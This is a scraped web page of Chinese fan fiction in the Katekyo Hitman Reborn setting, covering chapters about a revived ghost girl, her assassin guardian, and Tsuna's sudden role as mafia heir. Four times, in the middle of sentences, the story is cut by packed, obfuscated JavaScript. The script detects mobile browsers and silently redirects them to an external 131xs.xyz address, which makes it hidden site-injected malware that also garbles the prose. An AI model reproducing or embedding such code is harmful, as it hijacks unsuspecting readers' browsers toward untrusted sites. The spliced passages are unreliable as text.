“完——全没问题!”他看着我,笑着挽起了袖子,“为了相扑火锅,要拼尽全力喽!” · 并盛中学险胜石神井。哨声吹响,一半叹息、一半欢呼,山本武被同伴们团团围住。 “不愧是你,山本,刚才那一球太完美了!” “幸好有你在,否则都不敢想我们能怎么赢。完美的一球啊!我发誓对面的脸色都发青了好好好!” “哟西!完美胜利!我们去聚餐吧!正好庆祝一下!” 少年笑着一一应下,说到“一起去聚餐”的时候却婉拒了:“不行啊,我已经有约了。下次吧,下次我请客。” “怎么这样——” 队员们发出失望的嘘声,接着都笑了起来:“和谁约好了?山本,不会又是朝暮吧?我说,你什么时候表白啊?我们可以去帮忙布置表白现场!” “嘘——”山本武竖起了食指,做出噤声的动作。他的目光落在不远处向他走来的女生身上,柔和得不可思议。 “不要那么大声、被她听见了,”他认真地说,“我还在努力呢!” · 相扑火锅是东京都特色美食,练马区的这一家是有五十六年历史的老店。正是晚市时间,店内客人很多,闹哄哄的声音充斥着整间屋子。我们穿过走道,选了一个靠窗有阳光的位置坐下。 三四月份,日本快到入梅时节,但今天的天气很好,没有下雨,一整天都是和煦的阳光。人们在黄昏中前进,被光拉出长长的影子,投射在地上,就像一根又一根的铅笔。 我们分享着相扑火锅,说着最近的趣事,可并盛町实在是个小得过头了的城镇,并没有多少新鲜的事物值得我们细说。 于是聊着聊着,我们的话题逐渐转到了“未来”上去。 “未来会做什么职业,成为什么样的人?” 被问到这个问题,我没有马上回答,而是反问山本武:“你呢,阿武。你的棒球打得这么好,以后你会入职专业的棒球队,成为棒球运动员吧?” 明眼人都看得出山本武对棒球的热爱。而他又是个很聪明的人:和他相处过的人多少都能意识到这一点,只不过他从来不把这份聪明放在不必要的地方——比如作业和试卷——而将它全然贯注在他心爱的事物上。 凭他的能力,如果他想,我毫不怀疑他会带领并盛中学踏上甲子园的土地,捧回桂冠,之后在这个领域大放光彩。 他却没有马上回答,而是沉吟片刻,说:“不一定。” “不一定?”我有些讶然。 “嗯。因为我有想过,未来真正应该从事的行业——我想,我应该会和有好感的同伴在同一项工作上努力吧。” 山本武轻描淡写地说:“相比之下,棒球只能算是我的爱好。说起来啊,阿雪,你不是不懂棒球的规则吗?” 他的问题让我纳闷,我如实说:“嗯……棒球的规则太复杂了。”好吧。其实没有很复杂,但我光滑的脑部皮层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748999|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褶皱实在难以将它记住。 “可这和你不当棒球运动员有什么关系?” 他笑了:“虽然我很喜欢棒球,但如果重要的人对此一窍不通,我能从棒球身上汲取到的东西就是有限的。” “所以,我不一定会当棒球运动员。我未来成为什么样的人、选择什么样的职业……这也是不确定的。” 这种话如果被其他棒球队员听到,绝对会哀嚎这是一代天才的自我放逐。但这里没有别人,我装模作样地斟酌了一下:“原来如此,我明白了,我明白了。我支持你,阿武。” 沢田纲吉毫不留情地拆穿了我:“其实根本没有听懂,但会点头和赞同。” 我:“好的下一个问题。蠢纲,说吧,你以后想做什么职业?” 沢田纲吉被我的目光看得发毛:“这是报复吧……!” 我:“对啊这是报复。说!你以后想做什么工作。” 沢田纲吉:“……” 沢田纲吉:“完全没想好…。” 在我们两个目光灼灼之中,他梗了一会儿,捂住了脸,缓缓倒在了桌子上,声音闷闷的:“我这样的废柴,可能高中读完就会去打工吧,也可能去洗车店工作……大概就是这种……” 他的耳朵因为不好意思而红透了。山本武帮忙解围,转而问我:“所以,阿雪以后会做什么工作?” 对我来说,这根本不算问题。 我无所谓地说:“就是这样那样的工作啊。能活下去就可以了。不如这样,我和你一起去应聘吧阿纲,我们可以一起在洗车店工作!” 为自己的职业而羞耻?不存在的!哪怕是捡垃圾我也会昂首挺胸地捡! 不就是洗车店的工作吗,我觉得兴致来了,干脆提议:“不如这样,阿武也来。干脆我们一起开一家洗车店好了!我负责收银,阿武负责推销和招揽客人,阿纲负责洗车。很完美提议,爱来自相扑火锅,好!就这样定了!” 天呐,怎么会有这么完美的提议!我站起来展臂高呼:“为了洗车店,从今天开始努力!立志打造日本第一洗车店品牌!” 沢田纲吉:“……”不是没喝酒吗。 山本武:“……”怎么醉了。 沢田纲吉默默叫来服务员,点了一份抹茶红豆冰沙,山本武把我拉回座位,把冰沙推到我面前。 他俩异口同声:“你还是吃冰沙吧。” 12. 谁是世界上最可爱的小狗 比赛结束的第二天,大多数棒球队队员跟着学校回到了并盛。少数人比如说山本武选择留下来游玩练马区。 我们三个在沢田导游的带领下玩了一天,都觉得心满意足,最后乘坐有轨电车回到并盛,我们彼此告别,约定周一时再见面。 回到家的时候,琴子奶奶正在沙发上看报纸,见我推开门,告诉我饭菜在桌上。 我美滋滋地坐到餐桌边,打开保鲜膜,都是我喜欢吃的菜,我大快朵颐,含糊不清地说谢谢。 期间琴子奶奶就在慢悠悠地翻报纸,时不时折剪下一些信息叠放到一边。 琴子奶奶严格来说和我并没有血缘关系,但如今我们是彼此最后的家人。 她是我家族中养的“武器”,她的家人世代为我们家效命——杀人。轮到她的时候,我的父母变异了,他们不打算再把我培养成一个杀手,于是琴子奶奶从时髦杀手转职带娃中年woman。我父母外出任务没有空,大多时候就是她陪着我。 我印象里她是个很酷的人,虽然年纪大了之后有了白发,但她热衷于染头,金灿灿的头发,她出现在我面前时总戴着墨镜——然后被我抓着墨镜柄舔脸。她说我是小狗,说真稀奇,两条狼居然生出了一条狗。 我大声:“我是世界上最可爱的小狗!” 琴子奶奶:“……” 琴子奶奶:“知道了,你是世界上最可爱的小孩。” 琴子奶奶的家人都死了,只剩她一个;她倒是有不少情人,但没有孩子,以她的性子,那些情人都是衣服,算不上家人。所以我是她在这个世界上最亲密的人。 几个月前我还魂后找到了她。她看上去老了很多,也不染头了,任白色的头发慢慢爬满她的岁月。我大吃一惊心想难道我作为鬼魂的时间和现实是有流速差的吗?然后我意识到不对,琴子奶奶年纪本来就很大了。我死那年她五十八岁,我复活这年她都六十五了:就算退休年限一推再推,她也已经是法定意义上的老年人。 连我自己都不清楚,我到底是怎么又一次拥有了新生命的。就算我复活了,我的身体也该定格在七岁那年,可我醒来时,我已经是标准的十四岁模样。我摸到琴子奶奶的基地之前一直在担忧,如果她认不出我了怎么办,如果她觉得我是冒牌货怎么办。 结果她看了我一眼,就认出我了。 她没戴墨镜,露出了左边灰色的义眼;右眼珠凝固一样定格在她眼眶中,半晌,她喃喃地问:“谁是这世界上最可爱的小狗?” 我不满地说:“是最可爱的小孩!”我长大了,不会再把自己当狗了! 她抱着我哭了。人只有一只眼睛却也能流出这样多的眼泪。这个事实让我惊讶。 重逢之后,琴子奶奶把我当成普通的小孩养。“反正当小狗没什么不好,我可以养你一辈子,”她说,当天晚上我就看到她偷偷做资产转移手续,要把她名下的资产改成我的名字。那些钱够我衣食无忧一辈子。 她希望我别蹚浑水,就像我父母希望我手上别沾血腥一样。 如果我是个普通的小孩,如果我死之后没有到处漂游,如果我什么都不知道,或许还能如她所愿。 可惜我什么都知道,我又清楚我一点儿不普通。我漂游的七年里看到了太多东西,纵使我对沿途的风景模糊,我得到的事物也从来没有被磨灭。 和琴子奶奶重逢第二天,我跳窗一路跑到了欧洲,把当初的仇人捅了个对穿。 父母的愿望毕竟不能实现,我已经不是当初那个大声喊“我是世界上最可爱的小狗”的小孩了。琴子奶奶从前的纳闷是有道理的,我的父母是狼,我当然也是。 琴子奶奶再联系上我已经是十天后。我接通了电话,两两沉默,过了一会儿,她跟我说:“回日本,我还是养你。” 我说:“关于我的悬赏已经到了五亿美金。” 她口吻轻松:“我拿五亿美金买你。” “叮咚”一声,我收到信息。陆陆续续的资产绑定通知,最后价值超过五亿美金。 我回到了日本,和琴子奶奶搬到了并盛町。她对我没什么要求,只是和我说:“你得去上学。” 我露出了痴呆的表情。 这时候她又重新染了头发。金灿灿的,她戴着墨镜,平静地告诉我:“我的心脏有问题。” “所以呢?” “你不去,我可能会心脏病发作。……我的速效救心丸呢?” 我露出了犀利的眼神:“都心脏病了为什么还要染头?” “少管。染头和心脏病有什么关系。总之你不去上学, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749000|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的心脏病就发作;你掂量掂量吧。” 我掂量了一下,灰溜溜去上学了。后来我每次回家她都旁敲侧击,我终于明白她意思:感情她怕我死了七年跟不上世界的节奏,想要我发展人际关系,免得一人孤苦伶仃。 她轻描淡写:“毕竟我如果死了,只剩下你一个人,没有朋友,没有亲人,岂不是很可怜。” 我看了看她金灿灿的头发:“你长命百岁,几十年后的事几十年后再说。而且我不怕一个人。” 话是这样说,但我知道在我死后,她一个人过了七年。恐怕她很清楚这样的日子有多难过。 为了她不掏出速效救心丸,我老老实实上了几个月的课,这期间里世界的风波都与我无关。而现在,我一边往嘴里塞食物,一边含糊地宣布:“我以后要开一家洗车店。” 她说:“随便你。” 她说:“和谁开?” 我说山本武和沢田纲吉。她之前也听我说过这两个名字,略点一点头,突然道:“你倒是有我年轻时候的风范。” 我说:“你年轻时候是什么样的?” 她说:“光是情人,我就有二十多个。” 我说:“我和他们不是这种肮脏的关系。” 她嗤之以鼻:“你的脑子里只有‘肮脏’的形容词么?” 她挑剔地看了我一眼,我觉得被侮辱了,正要拍桌而起,她开始掏速效救心丸。我大怒:“这一招不应该是关键时候才用吗!” 她说:“狗崽子,现在就是关键时候。” 我才发现她眉宇间一缕痛苦之色,原来她的速效救心丸真的不是金平糖。她一连吞了四五粒,面色恢复平和,跟我说:“恐怕我命不久矣。” 我:“你想表达什么?” 她:“如果在我死之前,你能有一个孩子,我就欣慰了……” 我:“……”那就是金平糖吧。我说。 我:“我才十四岁。”这么早你催什么生啊违法的好吗。 她不以为然:“我十二岁时就有了第一个情人。” 我:“那你给我生个妹妹玩吧。要金色头发的,对我言听计从的,每天都能给我做美味小蛋糕的。” 她平静地说:“滚。” 我麻溜地滚了。 啧。 13.天真的沢田纲吉 原本这应该是个再平静不过的周一。 ……原本。 “拼死也要向阿雪说清楚——!” 平静地走在路上,平静地前进。突然,我听到了我的名字。错觉吗我说。我抬起头,接着目瞪口呆。 · 天上有一颗流星。 一颗流星。 流星。 ……等等啊那好像是人! · 察觉到天上飞着的那颗流星似乎是向我而来后,我展现出优秀的体能,一路连滚带爬,试图远离人群。但流星的速度太快了,还没跑出几步,它……他降落到我面前。 只穿着底裤近乎赤裸,沢田纲吉头上冒火,如同古早RPG游戏里的主角。主角没有拯救世界,而是站在我面前,大声地说: “拜托了!请告诉我,阿雪,你是不是——” 没办法了。我看了一眼人群中的山本武,他明白了我的意思。我们二人疾步上前,一左一右钳住沢田纲吉的手臂,在他反应过来之前,我们拔足狂奔。 “快跑,快跑!”我卖力地喊着,“为了蠢纲的尊严!” 山本武“一二一二”地喊起了号子。 在众人目瞪口呆的注视中,我们一路狂奔到了校园的偏僻角落。期间我们身手敏捷躲过了风纪委员,避开了可能出现的路人甲乙丙丁,最后我们停下来,沢田纲吉也从癔症中恢复了神智,他反应过来发生了什么,整个人蜷缩成一团,什么都说不出来了。 幸好三四月份,天气还是潮冷的,山本武带了外套,从包里掏出来递给了他,安慰:“没关系阿纲,我们刚才跑得很快。阿雪,你在做什么?” 我反转我的手机屏幕,上面显示我正在查的资料:“突发癔症怎么治疗”“癔症的诱发原因有哪些”“癔症会复发吗”。 沢田纲吉:“……” 我安慰他:“没事的,就算生病了也不妨碍我雇佣你。放心吧,我的洗车店里永远有你一席之地!” 沢田纲吉:“……” 沢田纲吉:“你还不死心吗……” 他有气无力地说:“不是生病。是刚才有个奇怪的小婴儿、他对我开了一枪,之后我就、就、……” 显然让受害者陈述事情经过对于受害者而言是更深的伤害。我们怎么能做这种残忍的事。 我沉重地说:“别再提了,我们懂,我们都懂。” 山本武爽朗:“没关系的阿纲,不管发生了什么我们都是好朋友!” 沢田纲吉:“……” 沢田纲吉:“我觉得你们根本没懂。” · 我们回到了教室。 沢田纲吉慢我们一步,走进教室门时他胆战心惊,生怕听到流言蜚语,但大家的关注点同时放到了我们三个身上。 “你们三个的关系还真铁诶!今天早上是什么节目吗?” “跑得真快,下次运动会你们可一定要报名田径为班争光!” “话说你们怎么做到的,沢田当时是在天上飞吧?” “……” 我们应付完各式各样的问题,刚刚好铃声响起开始上课,大家一哄而散,我们扔起了纸团,沢田纲吉写:“那家伙总算还知道给我带衣服……” 哦,他进门的时候确实穿了全套的校服。是他家人给他送了吗? 山本武写:“听说今天会有新的转学生来。” 作为校园明星,山本武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754513|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的信息渠道比我们宽得多,总能知道各种小道消息。我还没来得及回复,就听到班主任的脚步声。 他身后还跟着一个男生。 尾端卷翘的银色短发,碧绿如同宝石的眼睛,叮叮当当的十字架装饰,手插在裤兜里,满脸不羁。 台下哇声一片。 “这位是来自意大利的转学生……和大家自我介绍一下吧,狱寺同学。” 男生在黑板上写下“狱寺隼人”三个字,接着什么也没说,很拽地走下台。 意大利……我在纸条上写:“我想吃朗姆酒蛋糕。”然后团起来向后扔给沢田纲吉。 沢田纲吉接到纸团,刚刚打开,脸上才露出无奈的神色,“咚——!”他的桌子就被踢翻了。 狱寺隼人站在他的桌子前——他就是刚刚踢翻桌子的罪魁祸首——发出了响亮的一声“啧”。 沢田纲吉大吃一惊,我也大吃一惊。 敢在我的地盘上闹事?! 我奋笔疾书:“朗姆酒蛋糕计划暂停,作战计划开始!给这个不逊的转学生一个教训!” 纸团在我们三个人之间转了一遍,山本武成为我的忠实拥趸,沢田纲吉写朗姆酒蛋糕里面有酒精吧我们还不到能喝酒的年龄,然后写“他可能不是故意的……” 蠢纲啊蠢纲,天真! 在街上游荡的人,必须清楚的一点是:有人欺负你,你就必须欺负回去。要快准狠,要对方清楚意识到你不好惹才行。 否则别人就会把你当成谁都能欺负的小孩,抢走你的住处,夺走你的食物,直到你死在角落中。 沢田纲吉显然不懂这个道理。 ——很快,他就为他的天真而付出了代价。 14.人与人之间的关系都不会长久 沢田纲吉的桌子再次被踢翻了。 沢田纲吉被狱寺隼人堵住了。 两人进行了简短的交谈,狱寺隼人简短地说“你给我出来”,插着裤兜离开。 沢田纲吉用求救的目光看向我,我连忙看天看地就是不看他。 谁让他这么滥好心! 沢田纲吉:“……” 他可怜兮兮地离开了。 看着他和意大利男的身影离开教室,我和山本武对视一眼,蹑手蹑脚地跟了上去。 “我们得让他知道人世险恶才行,”我说,“不能再让他那么天真下去了!” 山本武点了点头:“阿纲就是太容易相信别人了。” 为了防止被发现,我们特意留了一点儿距离。没想到就是这点距离,让我们赶到的时候,事态发展远远超出了我们的想象。 只见引线被点燃了的炸弹在空中飞舞,包围了两个目瞪口呆的少年。以我的眼力判断,这些炸弹落实之后,我和山本武就可以考虑明年给沢田纲吉上坟的时候送什么花了。 不是,哪里来的炸弹啊,不是说并盛町风纪俨然吗! 我目光一凛就要冲上去准备把人带走,可变故再一次出现了。 “咻——” 一颗子弹从不远处葳蕤的树冠中倏然射出。 过于熟悉的弹道技巧让我顿住脚步。 下一刻,子弹没入少年的眉心,他的眼神一瞬间空茫,马上纷纷扰扰属于人间的情绪又填入他的眸子中,少年额头燃起火焰,熊熊旺盛,他大喊着:“拼死也要把炸弹熄灭——!” 他身上的衣服爆裂开了。少年用恐怖的速度践行自己的话,将所有炸弹都熄灭掉。 他居然真的做到了。 “呼、呼、呼……” 现场一片寂静,所有人呆若木鸡,只剩下他大口喘气的声音。 片刻之后,意大利男终于反应过来,然而一改踢翻桌子时的桀骜不驯,只见他向沢田纲吉走了两步,膝盖一软,纳头便拜:“十代目!请原谅我之前的不敬,我会争取成为您的左右手的!” 沢田纲吉:“……?” 沢田纲吉:“等等发生了什么——” 沢田纲吉额头的火焰熄灭了,他再度清醒了神智,但显然他宁可自己这辈子都不要再醒过来。他抱着头发出了惊天动地的、崩溃的呼声,让人见之伤心,闻之落泪。 我也为之触动了,转头和山本武说:“这个算人世险恶吗……?”代价好大啊。 山本武认真观察了一下,凝重地说:“……算吧。” 这时候,褐发少年终于察觉到了我们的存在。他满脸无助地看过来,我们两个如同正道的光一样走向他,山本武仍然把自己的外套递了过去,我仍然认真地说:“我的承诺永远有效。阿纲,放心吧,我的洗车店里永远有你一席之地。” 沢田纲吉看上去更崩溃了:“……” 洗车店里到底有什么啊! 解了他围的人变成了狱寺隼人。这位炸弹狂魔瞪着我们,语气不善地问:“你们两个是谁,怎么敢这么和十代目说话!” 我看了看沢田纲吉:“十代目?” 沢田纲吉明显知道他在说什么,慌乱解释:“不,不。我没说要当这个十代目啊!黑手党什么的……杀手……是他们这么说的,和我无关……不对啊!” 他说着说着把自己也绕了进去,挠着头发满脸崩溃,干脆破罐子破摔:“我宁可去阿雪你的洗车店工作……” 哼哼,我满脸欣慰地转向狱寺隼人:“听到了吧,我是你的十代目的顶头上司。所以十代目是什么啊?” 狱寺隼人一脸天打雷劈:“十代目,您怎么能这样纵容这个女人!”他劝不动沢田纲吉,转而怒瞪我,“还有你,你居然连十代目是什么身份都不知道,怎么有资格站在他身边!十代目就是彭格列未来的首领,是至高无上的存在!” “狱寺君,拜托,不要再说了……”沢田纲吉看上去尴尬得想要钻地逃跑了。 山本武读了气氛后则哈哈笑了起来:“彭格列是什么?黑手党的名字吗?十代目又是什么?听起来还挺酷的!啊,阿纲当首领的话,我也愿意加入哦!” 他把这当成了过家家游戏。 我也嘴上调侃着“失敬失敬,没想到多年不见阿纲你已经转职黑手党首领”,心中却一凛。 因为我知道彭格列这个名字。或者说,它根本就是如雷贯耳:它不是过家家游戏中的滑稽角色,而是真实的、屹立于黑暗的里世界中百年不倒的庞然大物。 ——里世界之主,彭格列的首领。 沢田纲吉。 这两个风车牛马不相及的词语被放到一块,我既啼笑皆非,又感到阵阵荒谬。 怎么可能呢。 然而,如果—— 我想起了几个月前的事。 · 几个月前我跑到欧洲一举将敌人捅了个对穿。过程丝滑无比,几乎没有受到任何阻碍。这其中有我手法娴熟的原因,但不可否认,欧洲的动乱也在很大程度上掩护了我的行动。 而引发了欧洲动乱的,正是传闻中彭格列继承人的陆续死亡。 彭格列作为一个传承了百余年的家族,根系庞大,相关的继承人顺位下去有十多位。按理来说不管怎么样都会有人来继承这份偌大的血腥的荣耀的家业—— 但就像可怕的诅咒一样,一年以来,彭格列的继承人陆续死亡。他们有的死在了枪战中,有的死在了任务里,有的倒霉透顶,在火并现场被流弹打中要害,就这样失血过多而死。 我和琴子奶奶闲聊时说:“这样下去彭格列的继承人不会死光了吧。” 她说:“一时半会是死不完的。” 我说:“没准呢。如果最后继承人位置七拐八拐落到一个普通人身上,那就好玩儿了。” 我发誓那时候我只是随口一说。——谁能想到啊,沢田纲吉,这家伙,去当彭格列首领,真的假的? · “——没错唷,彭格列是名副其实的黑手党,而阿纲是未来的第十代首领,将会肩负起彭格列过去与未来的荣光。少年哟,我看你骨骼清奇天赋卓绝,要不要加入彭格列?” 从树冠中跳下来的人,旁若无人地转职HR,开始为家族招揽成员。 狱寺隼人恭敬地称呼他为“Reborn先生”。 可被他称呼为先生的人,却是个不折不扣的小婴儿。 他穿着一身贴合身材的黑西装,帽檐上爬着一条吐着舌头的蜥蜴,卷翘的鬓角看上去尤为可爱。但这不能掩盖一个事实:这位不速之客,是里世界中闻名遐迩的第一杀手。 Reborn。 我没有亲眼见过他,但莫名地,我知道是他。 而Reborn除了第一杀手,还有一个身份,那就是彭格列九代目的私交好友。 想想吧,彭格列其他的继承人都死光了,只剩下一个和黑手党八竿子打不着的普通人。可彭格列的首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770918|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领不是随随便便谁都能当的,所以,沢田纲吉必然要经历一番“里世界教育”才能够登上王座。 那么,谁是家庭教师的最佳人选? 我想不到比Reborn更适合的人了。 首先,他和九代目关系匪浅,值得信任;其次,他没有加入彭格列,由他来教育沢田纲吉,不至于让里世界都将目光落到后者上;最后,他实力强劲,教育手段了得,有过带出现任加百罗涅首领的教育经历,把沢田纲吉交到他手上,哪怕后者是一摊烂泥,他也能把他均匀涂抹到墙壁上。 看着他,我不由得忧伤地想:看来我的洗车店得另寻他人来洗车了。 · 山本武对新奇事物的接受程度很高,具体可以表现在他对Reborn的话毫不怀疑,甚至跃跃欲试表现出了对加入黑手党的兴趣。 我瞪着沢田纲吉,他被我看得发毛:“怎,怎么了?” 我说:“我的洗车店不需要你洗车了。”而且再这样下去,我的销售员也要跑了! 他露出吃惊的表情,紧张起来,急切地为自己辩白:“等等!等等,为什么?” “如果是因为他说的什么黑手党首领的话,不要信他啊!我不会去当黑手党的!我只想过普普通通的生活、我想和你在一起,别的事情都不重要!阿雪!” 眼看我不为所动,褐发少年情不自禁向我走了几步,脸上流露出受伤的神情,仔细看还有几分阴郁:“你难道又想扔下我一个人吗……” 在他的控诉中,我竟感到莫名的心虚。 · 等等。 哪来的“又”? 心虚个头啊心虚我又没做错事! · “此言差矣啊阿纲,”我语重心长,“我怎能阻止你奔向更好的人…事业呢。你换个角度想一想,你不能在我的洗车店里洗车,但你可以给我的店投资嘛!” 我的话已经说得很明白了,并且很是体面、彼此都给了台阶下。琴子奶奶听了绝对会夸我初通人性的。 泽田纲吉的脸色却越发沉默,我不禁想不愧是我,哪怕只是才有个雏形,也不妨碍人人都想加入我的洗车店。 但我是万万不可能再招收泽田纲吉的。彭格列……彭格列是个太庞大的名字,我不觉得我能抢赢后者。 我说:“而且什么叫做又丢下你一个人。先不说哪来的‘又’,就算我们以后职业道路不同,我们也可以常联系嘛。另外啊……” 我犹豫了一下,不知是否应该说出口。 最后,我还是把这个亘古不变的道理说了出来:“人都有聚散。就算我们分开了也很正常。阿纲,你只是还没有认识太多的人。等你成为黑手党首领、认识更多的同伴,你就会知道,这世界上有得是人愿意跟随你,而你根本不用担心孤身一人。” 彭格列的首领身边永远不缺拥趸,沢田纲吉的一生——只要他不提前夭亡——注定光辉灿烂。他只是从前太孤独了,所以将我随意递出的橄榄枝当成救命稻草,可是归根结底,我们的相识与相交都充满戏剧性。 我想就算没有彭格列继承人的位置从天而降,沢田纲吉加冕为王,我们的关系也不会长久。 我觉得人与人之间的关系都不会长久。 我对此坦然接受,可沢田纲吉显然不是这样想的。 没关系,现实会扭曲他的想法,逼着他往前走。 我口吻轻松地说:“……” 还没出声,我就被急切地抓住了。 15.我不开洗车店了 我的话出口之后,情势不知为何突然焦灼起来。 沢田纲吉紧紧抓住了我的手臂,山本武不知何时靠过来按住了我的肩膀。狱寺隼人也停下动作,转过头定定地看着我,连第一杀手落在我身上的目光都意味不明。 所有人的脸色都变得微妙晦暗,仿佛被踩了雷点一样,除了我。因为我就是那个踩了雷点的人。我还保留着嬉皮笑脸。这让我想到过去几次我不会读空气时的尴尬场面。 ……我现在也不会读空气。 你们日本人到底怎么无师自通这个技能的。 我不想读空气了我想跑路。 话说尴尬的人不应该是沢田纲吉吗怎么突然变成我了。 我大脑放空,当即就准备像只猹一样将身一扭逃走,沢田纲吉抓着我手臂的力道却很大。我像一只风筝,他抓着风筝线,执拗地不让我离开。 我从不知道他有这样大的力气。 我若是打定主意走,他当然拦不住我。可我犹豫再三,还是停了脚步,因为他的眼中的情绪实在太复杂,我怀疑如果我就那么跑了,他会化身男鬼纠缠我一辈子。 “——什么彭格列首领、别人的追随,我都不需要,”男鬼看着我的眼睛,“那些都不重要。阿雪,我不能接受我们分开的事实。” 我为他表现出来的沉稳暗中吃惊,少年褐色眼眸中蕴藏的情绪如同埋在地下的矿物质般经年累月,有种亟待爆发的迫不及待。 我竟不敢直视他的眼睛,只讷讷地说:“可是我们的关系一般——我们甚至认识没多久——” “不,”他似乎下定了决心,沉沉地道: “在你转学来之前,我们就已经见过了。” 此言一出,山本武的眼神显然发生了改变,搭在我肩膀上的手掌用力,反应过来后放松了力道,但仍然显得急切。 我则觉得纳闷。 在我转学来之前,我根本就是游魂的状态,我们怎么可能见过—— 不对。 不对。 我猛然意识到了什么,但却不敢肯定。或者说我认为一旦肯定了,将会有可怕的事情发生。 哪怕我毫无顾忌,也冥冥中有所感应。 正在我踌躇之间,沢田纲吉紧紧盯着我的脸,说出了一个并不在场的人名:“笹川京子。” 沢田纲吉慢慢地说:“你不是希望和她做朋友吗?” “……” 我终于明白到底是怎么回事了。 沢田纲吉,他一定是我十三次回魂之中,某一次附身的对象。 · 我说过了,我曾尝试了十三次夺取附身的身体。但无一例外,我的行动都失败了。 后来,我重新活了过来,回到我的身体里,也曾想过去寻找那十三个人:我依稀记得我们之间的关系并不算恶劣,不是那种为了身体打生打死的关系。相反,我们惺惺相惜,曾做过约定,想过很久之后的未来。 但从我睁开眼开始,我关于那十三次回魂的记忆就不断流失。 复仇迫在眉睫,我先跑到意大利把仇人给捅了。而就在这短短的时间里,我将那十三个人的名字、身份都忘了个精光。 我曾与他们许下什么样的承诺,有过什么样的从前,说过什么样的未来——这些,我全部忘记了。 我像一台出了故障的电视机,屏幕上只有滋滋作响的噪点雪花片,偶尔蹦出几个模糊不清的画面来,熟悉得不得了,我却不知前因后果、不知它从何而来。 本人随遇而安,从不纠结过去,在确定记忆不可控之后,我就不再为难自己。 遇到笹川京子是意外。而她是长段的雪花片后跳出来的模糊的画面。 我想她一定和我的某一次回魂有关。 我相信过去的自己,因此我很快就和她成为了朋友。事实证明灵魂电波能够对得上的人哪怕在不同的身体里也会聊得来,我们的关系突飞猛进。 但还有一个问题:模糊画面之中,我看笹川京子,是第三视角。 也就是说,笹川京子并不是我附身的对象,那个倒霉蛋另有其人。 那个人会是谁呢? 从前我没有多想,现在看来,答案从一开始就出现在了我的身边。 ——沢田纲吉。 我忘记了他,他却还记得我。而且,他早就认出我来了。 我就是那个沢田纲吉与笹川京子共同的朋友、帮助沢田纲吉打跑了小混混的人。我是—— 我是A君。 那么,是从什么时候认出了我呢,阿纲?是练马区那次突然流眼泪,还是那次我们一起去买了《Jump》,跟我说起喜欢《超星爆发》的原因,又或者是更早之前,我在纸条上漫不经心地写,“我们是彼此灵魂的半身”? 我想起晨曦明亮时少年的眼睛。褐色的、湿漉漉的,那时他哭得满脸都是泪水,我以为他是怕鬼。可或许恰恰相反,他是在为抓到了我这只鬼魂喜极而泣。 猛然明白了一切后,沢田纲吉的异常都有了解释。 而我…… 我…… 我只感到异常的心虚。 · 那不是完蛋了吗!!!怎么回事!!!所以原来我真的应该心虚啊!!! · 我内心呐喊了一通,表面上稳如泰山。笑话,我怎么可能轻易露怯,而且怎么想也不能在这种时候露出破绽啊! 狱寺隼人就算了,我对他并不算了解,但Reborn却是里世界跺一跺脚都能地动山摇的人物,他一举一动都被无数人关注。 虽然我并没有刻意去查询,但还是看过相关的情报:第一杀手似乎在查找与“灵魂”有关的讯息。他为什么查这个?没人知道原因,可我想绝对不是什么好事,没准暴露出来我从前是个游魂的事后,我会被大卸八块。 我装傻装得惟妙惟肖:“对啊。我很喜欢京子。我现在也确实和她做朋友了。怎么了?突然提起她……” 我本来想顺口出溜“你不会是喜欢她吧”,一对上沢田纲吉的目光,第六感就对我疯狂拉响警报。总感觉真说出了口,事情就会向着无可控制的深渊滑去。 我只好把这半句话吞进了肚子,装傻充愣:“……很奇怪诶。她和我们的话题有什么联系吗?” “……”沢田纲吉盯着我的眼睛,我纹丝不动,他脸上慢慢浮现出一丝挫败。 他嗫嚅着嘴唇,似乎不知再说些什么。 还是太嫩了呢蠢纲 